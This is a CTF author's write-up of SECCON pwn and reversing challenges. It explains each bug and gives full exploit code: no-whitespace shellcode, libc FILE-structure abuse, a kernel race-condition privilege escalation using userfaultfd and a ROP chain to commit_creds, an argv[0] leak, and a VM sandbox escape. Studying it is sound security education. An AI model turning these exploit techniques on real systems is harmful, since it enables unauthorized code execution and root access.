I wrote some challenges for this year's SECCON CTF. SECCON was famous for providing some crappy challenges but they eliminated those crappy-challenge authors this year XD
Congratulations to HangulSarang, perfect blue, and MSLC!
Thank you for playing the CTF and I'm glad if you enjoyed the challenges. I'm really looking forward to reading your write-ups too!
- [pwn 123pts] pwarmup (63 solves)
- [pwn 227pts] lazynote (16 solves)
- [pwn 393pts] kstack (4 solves)
- [pwn 470pts] encryptor (2 solves)
- [rev 129pts] SCSBX:Reversing (56 solves)
- [rev 365pts] SCSBX:Escape (5 solves)
Vulnerability
An ELF binary and its source code are given.
$ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 69 Symbols No 0 0 chall
The vulnerability is a simple stack overflow.
int main(void) { char buf[0x20]; puts("Welcome to Pwn Warmup!"); scanf("%s", buf); fclose(stdout); fclose(stderr); }
Exploit
The only hard part is that stdout
is closed before return
.
However, we can run our shellcode since NX is disabled.
You can receive the output by the following ways, for example:
- Execute
/bin/sh
and run commands likels>&0
(only when it's over sockets) - Call
dup2
on stdin and re-create stdout (only when it's over sockets) - Run reverse shell
Be noticed that you can't use "whitespace" characters because the program uses scanf
with %s
specifier.
import os from ptrlib import * HOST = os.getenv('HOST', '153.120.170.218') PORT = os.getenv('PORT', '9001') rop_pop_rdi = 0x004007e3 rop_pop_rsi_r15 = 0x004007e1 addr_shellcode = 0x600800 addr_scanf = 0x4005c0 addr_ps = 0x40081b sock = remote(HOST, int(PORT)) shellcode = nasm( """ xor edx, edx push rdx call arg2 db "cat${IFS}flag*>&0", 0 arg2: call arg1 db "-c", 0 arg1: call arg0 db "/bin/bash", 0, 0, 0, 0, 0 arg0: pop rdi push rdi mov rsi, rsp mov eax, 59 syscall ; execve xor edi, edi mov eax, 60 syscall ; exit """, bits=64 ) sock.recvline() payload = b'A' * 0x28 payload += p64(rop_pop_rdi) payload += p64(addr_ps) payload += p64(rop_pop_rsi_r15) payload += p64(addr_shellcode) payload += p64(0xdeadbeef) payload += p64(addr_scanf) payload += p64(addr_shellcode) assert not has_space(payload) sock.sendline(payload) assert not has_space(shellcode) sock.sendline(shellcode) sock.interactive()
Vulnerability
An ELF and libc binary are given.
$ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 79 Symbols Yes 0 4 chall
The vulnerability is off-by-X(?).
buf = malloc(value1) fgets(buf, value less than value1, stdin); buf[value2] = 0;
Exploit
First of all, we have to leak the libc address.
We call malloc
with a large size to make it call mmap
to create a chunk before the libc region.
Then we can put 0x00 to somewhere in libc due to the vulnerability.
With this primitive, we overwrite _IO_read_end
and _IO_write_base
of _IO_2_1_stdout_
to get libc leak.
(Because libc misunderstands the base address of buffering.)
Secondly, we overwrite _IO_buf_base
of _IO_2_1_stdin_
to get "overwrite stdin" primitive.
The next fgets
uses the address of _IO_buf_base
as the starting point.
By changing the first byte into null, we can overwrite the head of stdin.
After we forge _IO_buf_base
, we can overwrite stdin
region, which allows us to fully overwrite _IO_read_ptr
, _IO_read_end
, and _IO_read_base
.
These members points to the address of the buffering cursor and so on.
Finally we get AAW primitive.
You can abuse _IO_FILE
to execute the shell since the server uses libc-2.27.
from ptrlib import * import time import os def new(size, offset, data, quiet=False): if quiet: sock.sendline("1") sock.sendline(str(size)) sock.sendline(str(offset)) sock.sendline(data) else: sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(size)) sock.sendlineafter(": ", str(offset)) sock.sendlineafter(": ", data) HOST = os.getenv("HOST", "153.120.170.218") PORT = os.getenv("PORT", "9003") libc = ELF("../files/libc-2.27.so") sock = Socket(HOST, int(PORT)) base = 0x200000 space = (base + 0x1000) * 1 - 0x10 new(base, space + libc.symbol('_IO_2_1_stdout_') + 0x10 + 1, 'A') space = (base + 0x1000) * 2 - 0x10 new(base, space + libc.symbol('_IO_2_1_stdout_') + 0x20 + 1, 'A', quiet=True) libc_base = u64(sock.recvline()[0x08:0x10]) - 0x3ed8b0 logger.info("libc = " + hex(libc_base)) space = (base + 0x1000) * 3 - 0x10 new(base, space + libc.symbol('_IO_2_1_stdin_') + 0x38 + 1, 'A') payload = p64(0xfbad208b) payload += p64(libc_base + libc.symbol('_IO_2_1_stdout_') + 0xd8) payload += p64(libc_base + libc.symbol('_IO_2_1_stdout_')) * 6 payload += p64(libc_base + libc.symbol('_IO_2_1_stdout_') + 0x2000) payload += b'\0' * (8*7 + 4) new_size = libc_base + next(libc.find("/bin/sh")) payload += p64(0xfbad1800) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64((new_size - 100) // 2) payload += p64(0) payload += p64(0) payload += p64((new_size - 100) // 2) payload += p64(0) * 4 payload += p64(libc_base + libc.symbol("_IO_2_1_stdin_")) payload += p64(1) + p64((1<<64) - 1) payload += p64(0) + p64(libc_base + 0x3ed8c0) payload += p64((1<<64) - 1) + p64(0) payload += p64(libc_base + 0x3eb8c0) payload += p64(0) * 6 payload += p64(libc_base + 0x3e8360) payload += p64(libc_base + libc.symbol("system")) payload += p64(libc_base + libc.symbol("_IO_2_1_stdout_")) payload += p64(libc_base + libc.symbol("_IO_2_1_stdin_")) sock.sendlineafter("> ", payload) sock.interactive()
Vulnerability
This is a kernel exploit challenge. The vulnerability is a race condition.
case CMD_POP: for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) { if (tmp->owner == pid) { if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long))) return -EINVAL; if (prev) { prev->fd = tmp->fd; } else { head = tmp->fd; } kfree(tmp); break; } if (tmp->fd == NULL) return -EINVAL; } break;
The program doesn't use mutex and CMD_POP
theoretically causes double free if two threads tries to pop a value at once.
However, causing such a race stably is next to impossible.
The intended solution is use userfaultfd
to stop a thread in copy_to_user
, with which we can get double free with 100% probability.
Exploit
After we cause double free, we can leak the kernel base from seq_operations
or whatever.
You can use CMD_POP
to leak the address.
However, CMD_PUSH
is not useful to write data.
So, after the second double free, I used setxattr
to inject data into the freed chunk.
seq_operations
has a vtable and I overwrite it with stack pivot (because SMAP is disabled.)
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #include <poll.h> #include <arpa/inet.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/msg.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/un.h> #include <sys/xattr.h> #include "userfaultfd.h" unsigned long addr_single_stop = 0x13be80; unsigned long stack_pivot = 0x02cae0; unsigned long rop_pop_rdi = 0x034505; unsigned long rop_pop_rcx = 0x038af4; unsigned long rop_mov_rdi_rax_pop_rbp = 0x01877f; unsigned long rop_usermode = 0x600a4a; unsigned long commit_creds = 0x069c10; unsigned long prepare_kernel_cred = 0x069e00; unsigned long kbase, kheap; unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm("movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) :: "memory"); } static void win() { char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; puts("[+] win!"); execve("/bin/sh", argv, envp); } int fd; void push(void *addr) { printf("[+] push = %d\n", ioctl(fd, 0x57ac0001, (unsigned long)addr)); } void pop(void *addr) { printf("[+] pop = %d\n", ioctl(fd, 0x57ac0002, (unsigned long)addr)); } void fatal(const char *msg) { perror(msg); exit(1); } int spray[0x100]; int victim; static int page_size; static void *fault_handler_thread(void *arg) { unsigned long value; static struct uffd_msg msg; static int fault_cnt = 0; long uffd; static char *page = NULL; struct uffdio_copy uffdio_copy; int len, i; if (page == NULL) { page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) fatal("mmap (userfaultfd)"); } uffd = (long)arg; for(;;) { struct pollfd pollfd; pollfd.fd = uffd; pollfd.events = POLLIN; len = poll(&pollfd, 1, -1); if (len == -1) fatal("poll"); printf("[+] fault_handler_thread():\n"); printf(" poll() returns: nready = %d; " "POLLIN = %d; POLLERR = %d\n", len, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0); len = read(uffd, &msg, sizeof(msg)); if (len == 0) fatal("userfaultfd EOF"); if (len == -1) fatal("read"); if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event"); printf("[+] UFFD_EVENT_PAGEFAULT event: \n"); printf(" flags = 0x%lx\n", msg.arg.pagefault.flags); printf(" address = 0x%lx\n", msg.arg.pagefault.address); switch(fault_cnt) { case 0: pop(&value); printf("[+] popped: %016lx\n", value); break; case 1: pop(&value); printf("[+] popped: %016lx\n", value); kbase = value - addr_single_stop; break; case 2: pop(&value); printf("[+] popped: %016lx\n", value); break; case 3: victim = open("/proc/self/stat", O_RDONLY); printf("[+] victim fd: %d\n", victim); break; default: puts("ponta!"); getchar(); break; } uffdio_copy.src = (unsigned long)page; uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY"); printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy); fault_cnt++; } } void setup_pagefault(void *addr, unsigned size) { long uffd; pthread_t th; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; page_size = sysconf(_SC_PAGE_SIZE); uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) fatal("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl: UFFDIO_API"); uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = size; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("ioctl: UFFDIO_REGITER"); s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd); if (s != 0) fatal("pthread_create"); } int main(void) { unsigned long value; save_state(); for(int i = 0; i < 0x100; i++) { spray[i] = open("/proc/self/stat", O_RDONLY); } void *pages = (void*)mmap((void*)0x77770000, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0); if ((unsigned long)pages != 0x77770000) fatal("mmap (0x77770000)"); fd = open("/proc/stack", O_RDONLY); if (fd < 0) fatal("/proc/stack"); setup_pagefault(pages, 0x4000); value = 0xcafebabe; push(&value); pop(pages); usleep(300); victim = open("/proc/self/stat", O_RDONLY); push((void*)((unsigned long)pages + 0x1000)); usleep(300); printf("[+] kbase = 0x%016lx\n", kbase); value = 0xdeadbeef; push(&value); pop((void*)((unsigned long)pages + 0x2000)); usleep(300); memset((void*)((unsigned long)pages + 0x3000 - 0x20), 'A', 0x20); memset((void*)((unsigned long)pages + 0x3000 - 0x18), 'B', 0x20); memset((void*)((unsigned long)pages + 0x3000 - 0x10), 'C', 0x20); memset((void*)((unsigned long)pages + 0x3000 - 0x08), 'D', 0x20); *(unsigned long*)((unsigned long)pages + 0x3001 - 0x8) = kbase + stack_pivot; setxattr("/tmp", "seccon", (void*)((unsigned long)pages + 0x3001 - 0x20), 0x20, XATTR_CREATE); usleep(300); unsigned long *chain = (unsigned long*)mmap((void*)0x5d000000 - 0x8000, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0); chain += 0x8000 / sizeof(unsigned long); *chain++ = 0xdeadbeef; *chain++ = 0xcafebabe; *chain++ = kbase + rop_pop_rdi; *chain++ = 0; *chain++ = kbase + prepare_kernel_cred; *chain++ = kbase + rop_pop_rcx; *chain++ = 0; *chain++ = kbase + rop_mov_rdi_rax_pop_rbp; *chain++ = 0xc0bebeef; *chain++ = kbase + commit_creds; *chain++ = kbase + rop_usermode; *chain++ = 0; *chain++ = 0; *chain++ = (unsigned long)win; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = 0x5d000000; *chain++ = user_ss; for(int i = 0; i < 0x100; i++) { close(spray[i]); } read(victim, (void*)0xdeadbeef, 0x99990000); return 0; }
Vulnerability
PIE is disabled.
$ checksec -f encryptor RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 95 Symbols Yes 4 8 encryptor
The goal of this challenge is leak the encryption key stored in .bss
section.
The vulnerability is obvious.
static error_t parse_opt(int opt, char *arg, struct argp_state *state) { struct Arguments *args = state->input; switch(opt) { case 'i': strcpy(args->path_i, arg); break; case 'o': strcpy(args->path_o, arg); break; default: return ARGP_ERR_UNKNOWN; } return 0; }
The filepath in argv may cause buffer overflow. We can't use the input filename as our target because of fortify. (I don't know the exact reason why input filename is fortified while output is not.)
Exploit
The idea of this challenge is argv[0] leak. The traditional argv[0] leak doesn't work in this version of libc. However, there's a path we can achieve argv[0] leak in any version of libc.
You get the following help message if we give unknown option.
$ ./encryptor --foo ./encryptor: unrecognized option '--foo' Try `encryptor --help' or `encryptor --usage' for more information.
Here you see argv[0]
is printed!
You can check the source code:
So, we just have to cause stack overflow and overwrite argv[0]
to secret
.
However, there's another problem.
Because this binary is 64-bit, the original value stored in argv[0] is a 48-bit address.
We have to put the address of secret
, which is 24-bit because PIE is disabled.
Unfortunately, we can't simply put a 24-bit value here because of the following reason:
- strcpy
doesn't copy 0x00
- We can't put 0x00 in the argument
We take advantage of strcpy
.
strcpy
terminates the string with NULL byte.
So, if we give multiple -o
options, we can create 3 bytes of 0x00.
i.e.
-o AAA...AAXYZ: [ ... | A | A | X | Y | Z | \x00 ] -o AAA...AXYZ : [ ... | A | X | Y | Z | \x00 | \x00 ] -o AAA...XYZ : [ ... | X | Y | Z | \x00 | \x00 | \x00 ]
Here is the exploit including PoW solver and decryptor:
import os from ptrlib import * from Crypto.Cipher import AES HOST = os.getenv('HOST', '153.125.128.105') PORT = os.getenv('PORT', '9022') sock = Socket(HOST, int(PORT)) import itertools import hashlib import string table = string.ascii_letters + string.digits + "._" r = sock.recvregex("sha256\(\"\?\?\?\?(.+)\"\) = ([0-9a-f]+)") suffix = r[0].decode() hashval = r[1].decode() print(suffix, hashval) for v in itertools.product(table, repeat=4): if hashlib.sha256((''.join(v) + suffix).encode()).hexdigest() == hashval: prefix = ''.join(v) print("[+] Prefix = " + prefix) break else: print("[-] Solution not found :thinking_face:") sock.sendline(prefix) payload = [None, None, None] for i in range(3): payload[i] = b'A' * (0x22a - i) payload[i] += p64(0x602260) payload[i] = bytes2str(payload[i].strip(b'\x00')) cmd = "./encryptor " cmd += "-o " + repr(payload[0]) + " " cmd += "-o " + repr(payload[1]) + " " cmd += "-o " + repr(payload[2]) + " " cmd += "-x 2>&1 | xxd -ps" sock.sendlineafter("$ ", cmd) sock.recvline() secret = bytes.fromhex(sock.recvonce(16*2).decode()) logger.info(b"secret = " + secret) sock.close() with open("../files/flag.enc", "rb") as f: cipher = f.read() aes = AES.new(secret, AES.MODE_ECB) print(aes.decrypt(cipher).decode())
You're given an open-sourced VM of a stack machine. You can easily write a disassembler and add debug function into source code.
The encryption (actually encode) scheme is based on a simple feistel block cipher. The encryption key is generated by fixed PRNG. F-function is xor+not.
This is my decoder:
from ptrlib import * cipher = b'#\x12vF\xc5\xa5\xbeT\xf6\xe8"z\xc9\x93\xb4]^\x17]\x053\xcd/\x02\xe6k\xc4B\xe8\xa0\x10mx\xc2\xf4S*\xecyr9\xfb\x91T\x1fB\xacI7:\xabI\x12X\x85G\x05\xbb\x18W[\xfb@\x05' key = 0x6d35bcd def f(x): global key key = ((key * 0x77f - 0x32a) % 0x100000000) % 0x305eb3ea return 0xffffffff ^ key ^ x def decrypt(s): output = b'' for block in chunks(s, 8, b'\x00'): a, b = u32(block[0:4]), u32(block[4:8]) for i in range(3): a, b = b, a ^ f(b) output += p32(a) + p32(b) return output print(decrypt(cipher))
Vulnerability
You can escape from SCSBX. To summerize, there are at least 3 intended bugs in SCSBX:
- The guard page is unmappable
push
doesn't check stack boundary, which causes "stack" overflow- As the document says, this bug was supposed to be prevented by the guard page
- As we can unmap the guard page and re-map the page, we can push out of 32-bit address
loadXX
andstoreXX
does check the start address but doesn't check the end address- Instructions like
load64(0xfffffffe)
works. - At 0x100000000 exists the vtable of the VM instance
- Instructions like
Exploit
The flow of the exploit:
- Unmap the guard page
- Re-map a page at 0xfffff000 and consolidate the stack with the VM instance
- Prepare a fake
std::vector<std::pair>
and put data like[(0xfffffff0, 0x10000)]
- Call
load64
to leak vtable, with which we can calculate the PIE base - Push many times to cause "stack" overflow
- Push on the VM instance and corrupt
memmap
to the fake vector prepared in 2 - Now
read
/write
works on some addresses above 0xffffffff thanks to the fakememmap
- Overwrite the stack base to an address near GOT, the stack top to the bss section, respectively
- Use
dup
to copy the libc address from GOT (xchg
doesn't work because RELRO is enabled) - Overwrite vtable to a fake one
- BOOM
Exploit assembly:
_start: ;; unmap guard page push 0xffff0000 sys_unmap ;; consolidate with stack push 0x0000ffff push 0xffff0000 sys_map ;; leak proc address push 0xfffffffe load64 push 0xffff0000 store32 push 0xffff0004 store32 push 0x8 push 0xffff0000 sys_write ;; fill stack push 0x7ffa push CmpFill jmp LpFill: push 0 dup push 1 push 1 xchg sub CmpFill: push 0 dup push 0 push LpFill push BrkFill jeq BrkFill: ;; get correct vtable address push 0x8 push 0xffffffe8 sys_read ;; inject fake vector push 0x10 push 0xfffff000 sys_read push 0xdeadbeef push 0xcafebabe push 0xdeadbeef push 0xcafebabe ;; vtable push 5 dup push 5 dup ;; std::vector push 0xfffff000 ; begin push 0 push 0xfffff010 ; cur push 0 push 0xfffff100 ; end push 0 ;; pc PC: push PC ;; status push 0 ;; code push 0x55540000 push 0 ;; stack push 0xfffe0000 push 0 ;; code_size push 0x7777 ;; capacity push 0xffffffff ;; top push 0x8010 ;; inject fake SCSBX instance push 0x54 push 0xfffffff0 sys_read push 0xc0b3beef ; marker ;; now stack == proc_base push 195 dup push 195 dup push 0xffff0004 store32 push 0xffff0000 store32 ;; leak libc address push 0x8 push 0xffff0000 sys_write ;; inject fake SCSBX instance push 0x100 push 0xfffffff0 sys_read push 0xfeedface ; marker ;; __assert_range_valid push 0 ; create constraints for one gadget push 0 push 0 push 0 push 0xffff0000 ; rdx = rbp push 0 ; rsi sys_write push 0 sys_exit
Exploit listener including PoW solver:
from ptrlib import * import os os.system("python assemble.py exploit.S") with open("output.bin", "rb") as f: code = f.read() HOST = os.getenv("HOST", "153.120.170.218") PORT = os.getenv("PORT", "19001") libc = ELF("../files/libc-2.31.so") sock = Socket(HOST, int(PORT)) ofs_vtable = 0x203c68 import itertools import hashlib import string table = string.ascii_letters + string.digits + "._" r = sock.recvregex("sha256\(\"\?\?\?\?(.+)\"\) = ([0-9a-f]+)") suffix = r[0].decode() hashval = r[1].decode() print(suffix, hashval) for v in itertools.product(table, repeat=4): if hashlib.sha256((''.join(v) + suffix).encode()).hexdigest() == hashval: prefix = ''.join(v) print("[+] Prefix = " + prefix) break else: print("[-] Solution not found :thinking_face:") sock.sendlineafter(": ", prefix) sock.sendlineafter(": ", str(len(code))) sock.sendafter(": ", code) proc_base = (u64(sock.recv(8)) >> 16) - ofs_vtable logger.info("proc = " + hex(proc_base)) sock.send(p64(proc_base + ofs_vtable)) fake_vector = p64(0xfffe0000) fake_vector += p64(0xffffffff) sock.send(fake_vector) fake_scsbx = p64(0) * 2 fake_scsbx += p64(proc_base + ofs_vtable) fake_scsbx += p64(0xfffff000) fake_scsbx += p64(0xfffff010) fake_scsbx += p64(0xfffff100) fake_scsbx += p64(code.find(p32(0xc0b3beef)) + 3) fake_scsbx += p64(0x55540000) fake_scsbx += p64(proc_base) fake_scsbx += p32(0x1000) + p32(0xf000) fake_scsbx += p32(0x810a0 - 1) sock.send(fake_scsbx) libc_base = u64(sock.recv(8)) - libc.symbol("read") logger.info("libc = " + hex(libc_base)) fake_scsbx = p64(0) * 2 fake_scsbx += p64(0x100000050) fake_scsbx += p64(0xfffff000) fake_scsbx += p64(0xfffff010) fake_scsbx += p64(0xfffff100) fake_scsbx += p64(code.find(p32(0xfeedface)) + 3) fake_scsbx += p64(0x55540000) fake_scsbx += p64(0xffff0000 - 4) fake_scsbx += p32(0x1000) + p32(0xf000) fake_scsbx += p64(0) + p64(0) fake_scsbx += p64(0xffffffffdeadbee0) fake_scsbx += p64(libc_base + 0xe6e79) sock.send(fake_scsbx) sock.interactive()